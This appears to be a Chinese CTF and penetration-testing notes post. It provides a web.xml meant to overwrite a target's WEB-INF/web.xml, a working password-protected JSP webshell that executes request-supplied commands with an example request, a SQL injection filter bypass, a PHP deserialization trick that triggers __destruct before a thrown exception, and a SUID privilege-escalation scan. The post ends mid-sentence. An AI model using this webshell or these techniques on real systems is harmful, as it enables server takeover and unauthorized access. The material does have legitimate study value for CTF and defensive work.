web.xml相关知识

直接来看看下面这个示例

<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
         http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd"
         version="3.1">

 <welcome-file-list>
    <welcome-file>index.html</welcome-file>
  </welcome-file-list>

  <!-- 配置默认servlet来处理静态资源 -->
  <servlet-mapping>
    <servlet-name>default</servlet-name>
    <url-pattern>/</url-pattern>
  </servlet-mapping>

  <servlet>
    <servlet-name>jsp</servlet-name>
    <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
  </servlet>

  <!-- JSP Servlet 映射 -->
  <servlet-mapping>
    <servlet-name>jsp</servlet-name>
    <url-pattern>*.jsp</url-pattern>
    <url-pattern>*.jspx</url-pattern>
    <url-pattern>*.xml</url-pattern>
  </servlet-mapping>

</web-app>

第一个<servlet-mapping>里用来处理静态资源,指定根路径是/,没什么好说的。

<servlet>用来定义一个名叫jsp的类似变量一样的东西,然后处理请求的方式交由org.apache.jasper.servlet.JspServlet判断

第二个中,当访问例如诸如.jsp等在<url-pattern>定义的文件路径后,将会交由上述<servlet>中对应的“变量名”(这里就是jsp)进行处理,也就是交由org.apache.jasper.servlet.JspServlet判断

这段web.xml可以被拿来直接使用,如果有路径穿越或文件上传的漏洞可以被用来替换到服务本身的WEB-INF/web.xml,搭配下面的jsp小马即可上线

jsp小马

<% 
    if("023".equals(request.getParameter("pwd"))){ 
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); 
        int a = -1; 
        byte[] b = new byte[2048]; 
        out.print("<pre>"); 
        while((a=in.read(b))!=-1){ 
            out.println(new String(b)); 
        } 
        out.print("</pre>");
    } 
%>

请求:http://x.x.x.x/cmd.jsp??pwd=023&i=whoami

information_schema.tables绕过

可以用sys.schema_table_statistics_with_buffer来替换,效果是一样的

另外提一嘴题外话,如果发现or或者and等测试句没反应,有可能是服务故意为之,此时就要考虑是不是有关键字或者空格之类的被ban掉了,空格可以用%09等代替

throw new异常抛出绕过(GC绕过)

如果碰到下面这种情况

class FileHandler 
{
...
...
    public function __destruct() {
        if (file_exists($this->fileName) &&!empty($this->fileHandle)) {
            fclose($this->fileHandle);
            echo "File closed: {$this->fileName}\n";
        }
    }
}

...
...

if(isset($_GET['exp'])) {
    if(preg_match('/<\?php/i',$_GET['exp'])){
        exit;
    }
    $exp = unserialize($_GET['exp']);
    throw new Exception("Test!");
}

如果你想利用这里的destruct作为触发点,会因为有一个throw new而无法触发(异常肯定优先于php执行完整个反序化过程)。因此可以参考使用GC回收机制进行绕过,进而强行在throw new之前触发destruct。

下面是同一题被序列化后的字符串

a:2:{i:0;O:11:"FileHandler":2:{ ...(这里省略一堆内容)... }i:1;N;}

这里只要把最后的i:1改为i:0,就能使php引擎认为zval容器中的refcount为0,就能在抛出异常前提前执行destruct

shell黑魔法

. /???

.后是一个空格,是可以直接执行后面文件的意思。在bash等常见shell中,.等效于source,直接执行文件

rws提权

这段命令可以扫出bin下有rws权限的程序

ls -la /bin | grep 'rws'

s权限的定义如下